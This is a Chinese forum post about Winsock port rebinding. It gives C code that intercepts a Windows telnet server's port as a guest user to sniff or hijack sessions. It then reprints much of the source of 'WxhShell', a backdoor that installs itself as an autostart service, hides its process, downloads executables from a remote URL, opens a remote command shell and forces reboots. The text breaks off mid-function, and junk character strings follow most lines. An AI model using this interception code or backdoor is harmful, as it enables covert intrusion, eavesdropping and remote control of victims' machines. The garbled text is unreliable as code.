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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CHRO9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o|0QstSCl  
mMRdnf!Uid  
  saddr.sin_family = AF_INET; bkfk9P  
Rk.GrLp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vswBK-w(Z  
[v$NxmRu  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #[{xEVf  
mjz<,s`D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '+{dr\nJ  
l]o)KM<  
  这意味着什么?意味着可以进行如下的攻击: 6 C|]Fm  
'uOzC"_yF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \4e6\6 +  
nmrYBw>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %[C-KQH  
3V`.<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _z3YB  
`Gp!Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _C97G&  
N>}2&'I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;Jrk#7  
Yi+~}YP.E(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ep3iI77/  
/4Lmu+G4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?nAKB5=  
3qc o2{nz  
  #include t,yzqn  
  #include 2i3& 3oz]O  
  #include eZWR)+aq  
  #include    @j Y_^8#S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W^^}-9  
  int main() WaRYrTDv64  
  { 1"82JN|!  
  WORD wVersionRequested; M%NapK  
  DWORD ret; @.fyOyOC  
  WSADATA wsaData; *jF VYg  
  BOOL val; *t+E8)qL  
  SOCKADDR_IN saddr; CxOBH89(  
  SOCKADDR_IN scaddr; HBFuA.",  
  int err; =_L  
  SOCKET s; 8/y~3~A{D  
  SOCKET sc; U@$=0*  
  int caddsize; I2wT]L UV  
  HANDLE mt; 'Na/AcRdg  
  DWORD tid;   .{|AHW&0<  
  wVersionRequested = MAKEWORD( 2, 2 ); !cWnQRIt_F  
  err = WSAStartup( wVersionRequested, &wsaData ); j>0~"A  
  if ( err != 0 ) { 9#;UQ.qA  
  printf("error!WSAStartup failed!\n"); +i[w& P  
  return -1; 42m}c1R  
  } /j1p^=ARV  
  saddr.sin_family = AF_INET; O<x53MN^  
   +RO=a_AS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [,|Z<  
[n_H9$   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Dg LSDKO!  
  saddr.sin_port = htons(23); > HL8hN'q'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =/Dp*  
  { !I? J^0T  
  printf("error!socket failed!\n"); FDAREE\j  
  return -1; Qp?n0WXZ  
  } ^gdg0y!5~  
  val = TRUE; -e{H8ro  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pw7_j;}l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) UI4Xv  
  { Vo%UiVHy  
  printf("error!setsockopt failed!\n"); diLjUC`69  
  return -1; D^Z~>D6  
  } d\ &jl`8*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O;A/(lPW+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]rh)AE!Y(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "iof -b=ys  
8bX\^&N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \?} {wh8  
  { &\C{,:[  
  ret=GetLastError(); rr[9sk`^H  
  printf("error!bind failed!\n"); rwxJR@Ttn  
  return -1; _l?5GLl_F$  
  } f-\l<o(  
  listen(s,2); Z v=p0xH  
  while(1) ]'aG oR  
  { -BV&u(  
  caddsize = sizeof(scaddr); g(:y_EpmLH  
  //接受连接请求 B%Yb+M&K  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a<V=C  
  if(sc!=INVALID_SOCKET) S)"5X)mq  
  { A&5$eGe9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Oh:SH|=]#  
  if(mt==NULL) F|V co]"S1  
  { OD"eB?  
  printf("Thread Creat Failed!\n"); 55oLj.l^j  
  break; KG#|Cq  
  } iR#jBqXD  
  } ,gU9y wg  
  CloseHandle(mt); &%Hj.  
  } )`rC"N)  
  closesocket(s); =*'X  
  WSACleanup(); ftq~AF  
  return 0; 'q[V*4g  
  }   \]J" e%  
  DWORD WINAPI ClientThread(LPVOID lpParam) pAmTwe  
  { U gB  
  SOCKET ss = (SOCKET)lpParam; e7L;{+XI  
  SOCKET sc; yh5KN_W  
  unsigned char buf[4096]; Y@.> eS  
  SOCKADDR_IN saddr; 9GZF39w u  
  long num; d1j v>tu  
  DWORD val; LM _4.J  
  DWORD ret; &V( LeSI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wH#k~`M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N13 <!QQ  
  saddr.sin_family = AF_INET; CWkm\=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); No[xf9>t  
  saddr.sin_port = htons(23); &F#X0h/m=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bi^LpyEn  
  { i6m;2 UAa  
  printf("error!socket failed!\n"); U(./LrM05  
  return -1; kX1hcAa  
  } zMrZ[AU  
  val = 100; Zt` ,DM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xs &vgel>  
  { F{T|lTl  
  ret = GetLastError(); 72-@!Z0e  
  return -1; V43JY_:  
  } I )B2Z(<Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NHc+QMbou(  
  { 1*-58N*  
  ret = GetLastError(); w#b~R^U  
  return -1; P6=|C;[  
  } >Ft jrEB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `Ze fSmb  
  { FpRK^MEkG  
  printf("error!socket connect failed!\n"); #3CA  
  closesocket(sc); hV8A<VT  
  closesocket(ss); G#% =R`k/  
  return -1; nj9hRiL n  
  } {{DW P-v4  
  while(1) oW+R:2I~O  
  { FyS K&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \aW5V:?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Hh@mIusj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ac&tpvij  
  num = recv(ss,buf,4096,0); Y2$ % %@  
  if(num>0) jN {ED_  
  send(sc,buf,num,0);  b'{D4/  
  else if(num==0) P7Y[?='v  
  break; .HtDcGp  
  num = recv(sc,buf,4096,0); 2C8M1^0:Z  
  if(num>0) $K G?d>wx  
  send(ss,buf,num,0); *@Qt*f  
  else if(num==0) v^E5'M[A  
  break; cA Lu  
  } RZ.5:v6  
  closesocket(ss); )US) -\^  
  closesocket(sc); JqZ%*^O  
  return 0 ; Aio0++ r-  
  } "iydXV=Q  
%Bo Jt-v  
o4Ba l^=[  
========================================================== W@0(Y9jdg  
TMRXl.1  
下边附上一个代码,,WXhSHELL G![1+2p:Tq  
\m.{^Xd~  
========================================================== !9N%=6\  
L'6zs:i  
#include "stdafx.h" ^Ta"Uk'  
1IsR}uLh  
#include <stdio.h> *LhR$(F(  
#include <string.h> )i>KYg w  
#include <windows.h> 4i19HD_  
#include <winsock2.h> 5y~[2jB:  
#include <winsvc.h> UmJg-~  
#include <urlmon.h> B=p'2lla  
><DE1tG  
#pragma comment (lib, "Ws2_32.lib") a[JgR/E@x  
#pragma comment (lib, "urlmon.lib") P~*fZ)\}F@  
#\M<6n{  
#define MAX_USER   100 // 最大客户端连接数 EagI)W!s[  
#define BUF_SOCK   200 // sock buffer Fq3;7Cq=hD  
#define KEY_BUFF   255 // 输入 buffer lk'RWy"pw  
=Vv{td  
#define REBOOT     0   // 重启 C/$IF M<  
#define SHUTDOWN   1   // 关机 L@ay4,e.bz  
>pYgF =J  
#define DEF_PORT   5000 // 监听端口 /za,&7sf  
]Lh\[@#1f  
#define REG_LEN     16   // 注册表键长度 4q~E\l|.5  
#define SVC_LEN     80   // NT服务名长度 &Y&zUfA  
r9U1O@c  
// 从dll定义API c*W$wr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5u8Sxfm",  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }qg!Um0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [+1 i$d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G@(7d1){  
R's xa*VB  
// wxhshell配置信息 $200?[  
struct WSCFG { Ylf4q/-  
  int ws_port;         // 监听端口 S&0x:VW  
  char ws_passstr[REG_LEN]; // 口令 =osj}(  
  int ws_autoins;       // 安装标记, 1=yes 0=no YUH/ tl  
  char ws_regname[REG_LEN]; // 注册表键名 ~E\CAZ  
  char ws_svcname[REG_LEN]; // 服务名 ^q6~xC,/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $OO[C={v[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -/</7I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v 7R&9kU{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^Ve^}|qPc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~Mx fud  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p)ONw"sb  
~DD/\V  
}; ,yF)7fN  
~:@H6Ke[  
// default Wxhshell configuration 4j*}|@x  
struct WSCFG wscfg={DEF_PORT, l1??b  
    "xuhuanlingzhe", : )z_q!$j  
    1, :s5g6TR  
    "Wxhshell", O<hHo]jLF  
    "Wxhshell", 3,[2-obmi  
            "WxhShell Service", pA2U+Q@  
    "Wrsky Windows CmdShell Service", j0GI[#  
    "Please Input Your Password: ", p#kC#{<nE  
  1, s5pY)6)  
  "http://www.wrsky.com/wxhshell.exe", TQou.'+v  
  "Wxhshell.exe" 2*M*<p=v  
    }; w9FI*30  
jBC9Vt;B  
// 消息定义模块 =~h54/#[I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (pmo[2kg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q2Kn3{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jz)H?UuDY  
char *msg_ws_ext="\n\rExit."; piP8ObGjy  
char *msg_ws_end="\n\rQuit."; Rc4EFHL  
char *msg_ws_boot="\n\rReboot..."; Q@8[ql1l  
char *msg_ws_poff="\n\rShutdown..."; >W;i2%T  
char *msg_ws_down="\n\rSave to "; I%p#E#[G  
qj1z>,\  
char *msg_ws_err="\n\rErr!"; X=3@M_Jzo  
char *msg_ws_ok="\n\rOK!"; #^ 9;<@M  
 W 6~=?C  
char ExeFile[MAX_PATH]; c;^J!e  
int nUser = 0; coWBKWF  
HANDLE handles[MAX_USER]; ff#-USK^R  
int OsIsNt; cabN<a l  
Trrh`@R  
SERVICE_STATUS       serviceStatus; gy{a+Wbc*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <}%ir,8  
B /W$RcV  
// 函数声明 E ( @;p%:  
int Install(void); F MVmH!E  
int Uninstall(void); oo!g?X[[  
int DownloadFile(char *sURL, SOCKET wsh); qo@dFKy  
int Boot(int flag); /Uc*7Y5j  
void HideProc(void); |$PLZ,  
int GetOsVer(void); US4Um>j  
int Wxhshell(SOCKET wsl); $ZS9CkN  
void TalkWithClient(void *cs); &f*dFUM]I  
int CmdShell(SOCKET sock); {#,FlR2  
int StartFromService(void); ju#6 3  
int StartWxhshell(LPSTR lpCmdLine); RVfe}4Stm#  
`y`xk<q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L?0l1P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F(<8:`N;G  
/>C~a]}  
// 数据结构和表定义 +!v RU`  
SERVICE_TABLE_ENTRY DispatchTable[] = M2}<gRL*}J  
{ ZhsZy wM  
{wscfg.ws_svcname, NTServiceMain}, Nj0)/)<r+  
{NULL, NULL} aJ8pJ{,P  
}; rg,63r  
vNC0M:p,  
// 自我安装 ]D%k)<YK  
int Install(void) N-gRfra+8L  
{ 6<Z: Xw  
  char svExeFile[MAX_PATH]; [fp"MPP3  
  HKEY key; blcKtrYg  
  strcpy(svExeFile,ExeFile); vgj^-  
lQBM0|n  
// 如果是win9x系统,修改注册表设为自启动 yUO|3ONT  
if(!OsIsNt) { { ZX C%(u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PoJ$%_a}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L2'd sOn  
  RegCloseKey(key); :2E1aVo4b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j&A3s{S4A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (GG"'bYk  
  RegCloseKey(key); 2~V Im#  
  return 0; ZRB 0OH  
    } d8HB2c5y0i  
  } }&DB5M  
} =[JN'|Q+  
else { sw|:Z(`  
|a{]P=<q  
// 如果是NT以上系统,安装为系统服务 `fZD%o3l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); au|^V^m  
if (schSCManager!=0) 9Yyg}l:  
{ Nb~dw;t  
  SC_HANDLE schService = CreateService zXZ'nJ5OGG  
  ( /\rq$W_  
  schSCManager, <(4#4=ivP  
  wscfg.ws_svcname, ,SF.@^o@a  
  wscfg.ws_svcdisp, Eap/7U1Q  
  SERVICE_ALL_ACCESS, |QLX..  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aMQjoamz  
  SERVICE_AUTO_START, A Vm{#^p[(  
  SERVICE_ERROR_NORMAL, N?;o_^C  
  svExeFile, `mjx4Lb  
  NULL, 7[g;|(G0  
  NULL, rxj@NwAno  
  NULL, ^,lZ58 2  
  NULL, {X<4wxeTo  
  NULL ^Pd3 7&B4V  
  ); T[-c|  
  if (schService!=0) ]M;6o@hq  
  { q 9S z7_K  
  CloseServiceHandle(schService); -Zg @D(pF  
  CloseServiceHandle(schSCManager); i ,pN1_-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !y-2#  
  strcat(svExeFile,wscfg.ws_svcname); ttaQlEa=Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j yRSEk$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =nx:GT3&[  
  RegCloseKey(key); -'[(Uzj  
  return 0; Wi[m`#  
    } -I-Uh{)j  
  } drKjLo[y  
  CloseServiceHandle(schSCManager); M J,ZXJXs  
} xs!g{~V{  
} 1Xr"h:U_X  
u\R`IZ&O  
return 1; QZ3(u<f  
} HDVl5X`j'  
fu<2t$Cn>  
// 自我卸载 `E5"Pmg  
int Uninstall(void) P5>5ps"iU  
{ `%M-7n9Y  
  HKEY key; W Gw!Y1wq  
2l@"p!ar=  
if(!OsIsNt) { =HY1l}\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /;&+ < }  
  RegDeleteValue(key,wscfg.ws_regname); 8a`+h#  
  RegCloseKey(key); !I5~))E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RP,:[}mPl  
  RegDeleteValue(key,wscfg.ws_regname); H [Lt%:r  
  RegCloseKey(key); ouVjZF@kS  
  return 0; ; ,=h59`  
  } F|?'9s*;6G  
} :e]9T3Q  
} wB>S\~i  
else { <*"pra{3  
OR\DTLIl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pEVgJ/>  
if (schSCManager!=0) #[a"%byTR  
{ ) wY!/&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g&+Y{*Gp  
  if (schService!=0) qC1U&b#MVx  
  { H5rPq_R  
  if(DeleteService(schService)!=0) { P:(EU s}0  
  CloseServiceHandle(schService); .L7Yf+yFg  
  CloseServiceHandle(schSCManager); /^LH  
  return 0; *)bd1B#  
  } B9e.-Xaf  
  CloseServiceHandle(schService); |Vwc/9`t]>  
  } g T XW2S  
  CloseServiceHandle(schSCManager); +K;Y+ K&;2  
} X#DL/#z k  
} ')5L_$  
|vfujzRZ  
return 1; +z|UpI  
} jefNiEE[  
- LiPHHX<  
// 从指定url下载文件 LMFK3Gd[  
int DownloadFile(char *sURL, SOCKET wsh) H 5U x.]y  
{ .vN%UNu  
  HRESULT hr; 2K]IlsMO&  
char seps[]= "/"; Y:%m;b$]  
char *token; drENkS=,  
char *file; |,;twj[?4  
char myURL[MAX_PATH]; b+IOh|  
char myFILE[MAX_PATH]; 3zB|!p C6s  
7k[pvd|L  
strcpy(myURL,sURL); 9$o<  
  token=strtok(myURL,seps); EK?@Z.q+  
  while(token!=NULL) G; C8Kde  
  { {jOzap|  
    file=token; T+;H#&  
  token=strtok(NULL,seps); K[uY+!'1  
  } -".kH<SWv  
mA(nyF  
GetCurrentDirectory(MAX_PATH,myFILE); X<~k =qwA  
strcat(myFILE, "\\"); 7-".!M  
strcat(myFILE, file); 6[*;M  
  send(wsh,myFILE,strlen(myFILE),0); 4[TS4p  
send(wsh,"...",3,0); VyecTU"W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C5es2!^-]O  
  if(hr==S_OK) "H>r-cyh  
return 0; -,QKTxwo>  
else e^k!vk-SLF  
return 1; ;Y'8:ncDn  
6| *(dE2x(  
} 7q%|4Z-~  
^^7L"je]g  
// 系统电源模块 euV$2Fg  
int Boot(int flag) @s%X  
{ j?:`-\w5  
  HANDLE hToken; 4llD6&%  
  TOKEN_PRIVILEGES tkp; Aq V09 $  
E?Zb~xk  
  if(OsIsNt) { K,f* SXM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |XKOXa3.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7_9+=. +X5  
    tkp.PrivilegeCount = 1; Hp btj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C-llq`(d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7hB#x]oQo  
if(flag==REBOOT) { 59{;VY81  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >u=%Lz"J  
  return 0; h6u2j p(+  
} q&zny2])  
else { 8P,l>HA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WD15pq l  
  return 0; iH-bo@  
} 2E$^_YT C  
  } >=if8t!  
  else { z)4UMR#b&  
if(flag==REBOOT) { ;>NP.pnA)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9wL!D3e {Q  
  return 0; q*\NRq  
} zlH28V  
else { h&lyxYZ+T$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X<(6T  
  return 0; ~Fy`>*  
} ~?#~Ar  
} 8r,9OM  
m_a^RB(  
return 1; -=>sTMWpr  
} Hx$.9'Oq\Q  
L-#e?Y}$J  
// win9x进程隐藏模块 (O$}(Tn  
void HideProc(void) D=$4/D:;  
{ }@d>,1DU  
pe|X@o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'gCJ[ce  
  if ( hKernel != NULL ) gs?8Wzh90*  
  { 4~!Eje!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LU%#mY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c$9sF@K?  
    FreeLibrary(hKernel); R7lYu\mA  
  } WFouoXlG0  
Te# ]Cn|  
return; PPEq6}  
} >-!r9"8@  
+A@m9  
// 获取操作系统版本 <mL%P`Jj  
int GetOsVer(void) {$;2 HbM(  
{ @B?FE\  
  OSVERSIONINFO winfo; _ w/_(k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tl|ijR  
  GetVersionEx(&winfo); w4UD/zO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >w9sE8i  
  return 1; Q|?'(J+  
  else KYp[Gs  
  return 0; iQqqs`K  
} tww=~!  
$]C=qM28-  
// 客户端句柄模块 wh%xkXa[ur  
int Wxhshell(SOCKET wsl) :vpl+)n  
{ tZbFvk2  
  SOCKET wsh; 6,X+1EXY  
  struct sockaddr_in client; 'xIyGDe  
  DWORD myID; c S4DN  
x|8^i6xB  
  while(nUser<MAX_USER) .46#`4av  
{ `xCOR  
  int nSize=sizeof(client); 7'z(~3D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P>(&glr|  
  if(wsh==INVALID_SOCKET) return 1; _BbvhWN&+  
n+2%tW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P$_&  
if(handles[nUser]==0) K4:  $=  
  closesocket(wsh); P1MvtI4gm  
else I7~|~<  
  nUser++; vB.l0!c\e_  
  } [@//#}5v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); msiu8E  
!}_b|  
  return 0; EkjgNEXq  
} V43TO  
SrFx_n  
// 关闭 socket |d[5l^6  
void CloseIt(SOCKET wsh) dN< , %}R  
{ lCR!:~  
closesocket(wsh); w9MoT.kI}  
nUser--; M 7rIi\4K4  
ExitThread(0); \8e2?(@"k  
} qw<HY$3=  
TN\|fzj  
// 客户端请求句柄 KFU%DU G  
void TalkWithClient(void *cs) nBkh:5E5%  
{ O#)jr-vXdV  
49AW6H.JT  
  SOCKET wsh=(SOCKET)cs; ^XG*z?Tt  
  char pwd[SVC_LEN]; `<U5z$^QTw  
  char cmd[KEY_BUFF]; #Y2i*:<  
char chr[1]; H]&gW/=  
int i,j; Or8kp/d  
E$A3|rjnoN  
  while (nUser < MAX_USER) { ~Wei|,w'<  
/`3 #4=5-  
if(wscfg.ws_passstr) { FQk!d$BG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?{6s58Q{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I`T1Pll  
  //ZeroMemory(pwd,KEY_BUFF); BJk Z2=  
      i=0; zU&L.+   
  while(i<SVC_LEN) { {e"dm5  
(5a1P;_Y  
  // 设置超时  .t =  
  fd_set FdRead; ; b*i3*!g  
  struct timeval TimeOut; Y%@hbUc}x9  
  FD_ZERO(&FdRead); eVJ^\z:4  
  FD_SET(wsh,&FdRead); @}&_Dvf  
  TimeOut.tv_sec=8; ml0*1Dw  
  TimeOut.tv_usec=0; Z.1> kZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lyv4fP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >P=Q #;v  
MjD75hIZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l$XPIC~H  
  pwd=chr[0]; Rko M~`CT  
  if(chr[0]==0xd || chr[0]==0xa) { .UQE{.?  
  pwd=0; r|eZv<6  
  break; @kxel`,$e  
  } IeP WOpj3  
  i++; TB!(('  
    } }r%X`i|  
O"Q7Rx  
  // 如果是非法用户,关闭 socket ) #+^ sAO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l63hLz  
} BUsV|e\  
y(i Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h&;t.Gdf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nB5zNyY4  
S6g<M5^R  
while(1) {  }ptq )p  
a`!@+6yC  
  ZeroMemory(cmd,KEY_BUFF); ^5; `-Ky  
2VoKr)  
      // 自动支持客户端 telnet标准   _>yoX  
  j=0; Uz dc  
  while(j<KEY_BUFF) { aG%, cQ1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t9cl"F=  
  cmd[j]=chr[0]; =0    
  if(chr[0]==0xa || chr[0]==0xd) { ~ G6"3"  
  cmd[j]=0; .i Hn5SGA  
  break; +&i +Mpb  
  } Vsnuy8~k  
  j++; <hx+wrv  
    } t0)<$At6J  
[p;E~-S  
  // 下载文件 [eUftr9&0  
  if(strstr(cmd,"http://")) { fo0+dzazY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \tN-(=T  
  if(DownloadFile(cmd,wsh)) E3aDDFDH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &ldBv_  
  else 8|%^3O 0X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8}s.Fg@tE  
  } Qf$|_&|  
  else { ep/Y^&$M  
5jxQW ;  
    switch(cmd[0]) { ZJ*g)) k7  
  '#/G,%m<!i  
  // 帮助 kgi>} %  
  case '?': { [7FItlF%I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %w7pkh,  
    break; |r%D\EB  
  } OEx^3z^  
  // 安装 NnT g3:.  
  case 'i': { i0jBZW"_1$  
    if(Install()) Bi,;lR5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GH1"xR4!  
    else G 2!xPHz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u8GMUN  
    break; 9ZXlR?GA  
    } *+)AqKP\Kv  
  // 卸载 d5 7i)=  
  case 'r': { e]=lKxFh&l  
    if(Uninstall()) ,\2:/>2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YH&bD16c3  
    else 9o*,P,j'}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6(d}W2GP  
    break; Rp7ntI:  
    } rE9I>|tX  
  // 显示 wxhshell 所在路径 5NoI~X=  
  case 'p': { /zDi9W*~1  
    char svExeFile[MAX_PATH]; }v:jncp  
    strcpy(svExeFile,"\n\r"); %wcSM~w  
      strcat(svExeFile,ExeFile); :+Om]#`Vls  
        send(wsh,svExeFile,strlen(svExeFile),0); :0 & X^]\  
    break; k@ZLg9  
    } 2_vbT!_  
  // 重启 B33$pUk  
  case 'b': { ABE@n%|`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); : G\<y  
    if(Boot(REBOOT)) '52~$z#m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t58e(dgi  
    else { )9l^O  
    closesocket(wsh); !l]dR@e  
    ExitThread(0); Wjhvxk  
    } &nBa=Enf  
    break; J]f3CU,<N  
    } e@:sR  
  // 关机 _4^R9Bt  
  case 'd': { l2N]a9bq@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iY"l}.7)  
